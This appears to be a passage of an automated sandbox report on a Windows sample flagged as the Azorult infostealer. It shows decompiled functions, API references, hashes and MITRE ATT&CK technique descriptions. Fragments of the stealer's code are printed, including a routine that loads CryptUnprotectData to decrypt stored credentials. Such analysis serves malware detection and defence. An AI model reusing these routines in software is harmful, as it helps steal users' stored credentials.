					 *0x41b018 = _t14;
					return _t14;
				} else {
					_push(_t29);
					_push(E00402B35);
					_push( *[fs:eax]);
					 *[fs:eax] = _t32;
					_v16 = 4;
					RegQueryValueExA(_v8, "FPUMaskValue", 0, 0,  &_v12,  &_v16);
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x402b3c);
					return RegCloseKey(_v8);
				}
			}

0x00402ac5
0x00402ac7
0x00402ad1
0x00402aed
0x00402b3c
0x00402b4e
0x00402b51
0x00402b5a
0x00402aef
0x00402af1
0x00402af2
0x00402af7
0x00402afa
0x00402afd
0x00402b19
0x00402b20
0x00402b23
0x00402b26
0x00402b34
0x00402b34

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 00402ADC
FPUMaskValue, xrefs: 00402B10

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction ID: 9172d05214030136d6eeabac91fa7c92d03713ed8c8260d1a9efe939ba63eb8f
Opcode Fuzzy Hash: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction Fuzzy Hash: 04019275500308B9DB21AF908D46FAA7BB8D708700F600076BA04F66D0E7B8AA10979C

Uniqueness

Uniqueness Score: -1.00%

Function 00406678, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E00406678(void* __ecx) {
				signed char _t3;
				signed char _t7;
				intOrPtr* _t8;
				signed char* _t11;

				_t8 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
				_t3 = 0;
				 *_t11 = 0;
				if(_t8 != 0) {
					_push(_t11);
					_push(GetCurrentProcess());
					if( *_t8() == 0 ||  *_t11 == 0) {
						_t7 = 0;
					} else {
						_t7 = 1;
					}
					_t3 =  ~_t7;
					asm("sbb eax, eax");
					 *_t11 = _t3;
				}
				asm("sbb eax, eax");
				return _t3 + 1;
			}

0x0040668f
0x00406691
0x00406693
0x00406698
0x0040669a
0x004066a0
0x004066a5
0x004066ad
0x004066b1
0x004066b1
0x004066b1
0x004066b3
0x004066b5
0x004066b7
0x004066b7
0x004066be
0x004066c3

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process,?,?,004066F8,?,00416A2C,00000000,00416CF0,?,Windows : ,?,,?,EXE_PATH : ,?), ref: 00406684
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040668A
GetCurrentProcess.KERNEL32(?,00000000,kernel32.dll,IsWow64Process,?,?,004066F8,?,00416A2C,00000000,00416CF0,?,Windows : ,?,,?), ref: 0040669B

Strings

kernel32.dll, xrefs: 0040667F
IsWow64Process, xrefs: 0040667A

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: e1b52431ba51a17f73fa2707c1d3f9594f1716fb178e982d40455343ef0f00aa
Instruction ID: e294de711800d21e639c3a9fa9d3456d397d027599023024eec292f5251465af
Opcode Fuzzy Hash: e1b52431ba51a17f73fa2707c1d3f9594f1716fb178e982d40455343ef0f00aa
Instruction Fuzzy Hash: 1FE09BB16147019EDB007BB58C41B3B21CCAB65305F031C3EA082F12C0D97EC8908A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004139F0, Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00413A27
#546.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00413A31
__vbaDateVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00413A3B
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00413A46
__vbaFreeStr.MSVBVM60(00413A6F), ref: 00413A68

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$Free$#546CopyDate
String ID:
API String ID: 3262162454-0
Opcode ID: f959372754b28ee7bde1818ebba7a54e3d8da447548e3cb4f1dc80d7a0fec4b7
Instruction ID: abdfe9261e55f7ee05f60309868c515ee61fe70a9b37390eb118fbf07c284544
Opcode Fuzzy Hash: f959372754b28ee7bde1818ebba7a54e3d8da447548e3cb4f1dc80d7a0fec4b7
Instruction Fuzzy Hash: 2401FBB0910209EBCB04DFA4DE89EAEBBB8FF1C741F104129F502B6160EB745A45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415D60, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E00415D60(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				_Unknown_base(*)()* _v8;
				char _v140;
				char _v176;
				char _v180;
				void* _t23;
				intOrPtr _t30;
				intOrPtr* _t34;
				void* _t37;

				_v180 = 0;
				_t34 = __eax;
				_push(_t37);
				_push(0x415e07);
				_push( *[fs:eax]);
				 *[fs:eax] = _t37 + 0xffffff50;
				_v8 = GetProcAddress(LoadLibraryA("user32.dll"), "EnumDisplayDevicesA");
				_v176 = 0xa8;
				_t23 = 0;
				while(1) {
					_push(0);
					_push( &_v176);
					_push(_t23);
					_push(0);
					if(_v8() == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push( *_t34);
					E00403748( &_v180, 0x80,  &_v140);
					_push(_v180);
					_push(E00415E40);
					E00403850();
				}
				_pop(_t30);
				 *[fs:eax] = _t30;
				_push(E00415E0E);
				return E004034E4( &_v180);
			}

0x00415d6e
0x00415d74
0x00415d78
0x00415d79
0x00415d7e
0x00415d81
0x00415d99
0x00415d9c
0x00415da8
0x00415ddc
0x00415ddc
0x00415de3
0x00415de4
0x00415de5
0x00415dec
0x00000000
0x00000000
0x00415dac
0x00415dad
0x00415dc0
0x00415dc5
0x00415dcb
0x00415dd7
0x00415dd7
0x00415df0
0x00415df3
0x00415df6
0x00415e06

APIs

LoadLibraryA.KERNEL32(user32.dll,EnumDisplayDevicesA,00000000,00415E07,?,-00000001,?,?,?,00415F5F,Video Info,?,004160A8,?,GetRAM: ,?), ref: 00415D8E
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00415D94

Strings

EnumDisplayDevicesA, xrefs: 00415D84
user32.dll, xrefs: 00415D89

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: EnumDisplayDevicesA$user32.dll
API String ID: 2574300362-2278183399
Opcode ID: 2be43a5cda4d26b9d11b13e023969f73649a0ac519f84c8eab0c2f78561c4bb4
Instruction ID: 9dd9bdf3a8bde6cf78cd03fc344b6578603246f1cfb7de35a5983435c2d557c6
Opcode Fuzzy Hash: 2be43a5cda4d26b9d11b13e023969f73649a0ac519f84c8eab0c2f78561c4bb4
Instruction Fuzzy Hash: 3901A571A00708AEE7209F62CC41BDB77ADEBC5714F5180BAF508E2180DA785F408A69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6AA, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A6AA() {
				void* _t1;
				_Unknown_base(*)()* _t3;

				 *0x41ca68 =  *0x41ca68 - 1;
				if( *0x41ca68 < 0) {
					_t3 = GetProcAddress(LoadLibraryA("crypt32.dll"), "CryptUnprotectData");
					 *0x41ca64 = _t3;
					return _t3;
				}
				return _t1;
			}

0x0040a6ac
0x0040a6b3
0x0040a6c5
0x0040a6ca
0x00000000
0x0040a6ca
0x0040a6cf

APIs

LoadLibraryA.KERNEL32(crypt32.dll,CryptUnprotectData), ref: 0040A6BF
GetProcAddress.KERNEL32(00000000,crypt32.dll), ref: 0040A6C5

Strings

crypt32.dll, xrefs: 0040A6BA
CryptUnprotectData, xrefs: 0040A6B5

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CryptUnprotectData$crypt32.dll
API String ID: 2574300362-1827663648
Opcode ID: fe207437e2ee7f711cbc9e5ec82da5dd37473118ad2ff0c824763446b94a0930
Instruction ID: e6c421c79dddd478bde07d5489d503c1d4cc859a9cbe04b01679e24e10095fcf
Opcode Fuzzy Hash: fe207437e2ee7f711cbc9e5ec82da5dd37473118ad2ff0c824763446b94a0930
Instruction Fuzzy Hash: 49C08CF06A030056CA01EBB29D4A70833693B82B887180C3BB040B14E0D93E4010970F

Uniqueness

Uniqueness Score: -1.00%

Function 0040246C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0040246C(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ecx;
				void* __ebp;
				intOrPtr _t25;
				intOrPtr _t36;
				intOrPtr _t39;
				void* _t42;
				intOrPtr _t45;
				intOrPtr _t47;

				_t45 = _t47;
				_t42 = __edx;
				_t25 = __eax;
				if( *0x41c5ac != 0 || E00401870() != 0) {
					_push(_t45);
					_push("�^");
					_push( *[fs:edx]);
					 *[fs:edx] = _t47;
					if( *0x41c035 != 0) {
						_push(0x41c5b4);
						L004011CC();
					}
					if(E00402290(_t25, _t42) == 0) {
						_t39 = E00401F5C(_t42);
						_t15 = ( *(_t25 - 4) & 0x7ffffffc) - 4;
						if(_t42 < ( *(_t25 - 4) & 0x7ffffffc) - 4) {
							_t15 = _t42;
						}
						if(_t39 != 0) {
							E00402628(_t25, _t15, _t39);
							E004020EC(_t25);
						}
						_v8 = _t39;
					} else {
						_v8 = _t25;
					}
					_pop(_t36);
					 *[fs:eax] = _t36;
					_push(E00402524);
					if( *0x41c035 != 0) {
						_push(0x41c5b4);
						L004011D4();
						return 0;
					}
					return 0;
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x0040246d
0x00402473
0x00402475
0x0040247e
0x00402495
0x00402496
0x0040249b
0x0040249e
0x004024a8
0x004024aa
0x004024af
0x004024af
0x004024bf
0x004024cd
0x004024db
0x004024e0
0x004024e2
0x004024e2
0x004024e6
0x004024ed
0x004024f4
0x004024f4
0x004024f9
0x004024c1
0x004024c1
0x004024c1
0x004024fe
0x00402501
0x00402504
0x00402510
0x00402512
0x00402517
0x00000000
0x00402517
0x0040251c
0x00402489
0x0040248b
0x0040252c
0x0040252c

APIs

RtlEnterCriticalSection.NTDLL(0041C5B4), ref: 004024AF
RtlLeaveCriticalSection.NTDLL(0041C5B4), ref: 00402517

Part of subcall function 00401870: RtlInitializeCriticalSection.NTDLL(0041C5B4), ref: 00401886
Part of subcall function 00401870: RtlEnterCriticalSection.NTDLL(0041C5B4), ref: 00401899
Part of subcall function 00401870: LocalAlloc.KERNEL32(00000000,00000FF8,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
Part of subcall function 00401870: RtlLeaveCriticalSection.NTDLL(0041C5B4), ref: 00401920

Strings

^, xrefs: 00402496

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: ^
API String ID: 2227675388-551292248
Opcode ID: 13733653b3f731d4a86fe4dd7a4e75e79382ae060959d885b8555a6480a91d6d
Instruction ID: 4ed45a5183fb1a6edd108f9af425bfacc088641811e0c18f6da98f6ec62fa594
Opcode Fuzzy Hash: 13733653b3f731d4a86fe4dd7a4e75e79382ae060959d885b8555a6480a91d6d
Instruction Fuzzy Hash: 92113431700210AEEB25AB7A5F49B5A7BD59786358F20407FF404F32D2D6BD9C00825C

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 1COK25f1vT.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Azorult

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Function 004016DC, Relevance: 2.5, APIs: 1, Instructions: 1043
COMMONCrypto

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre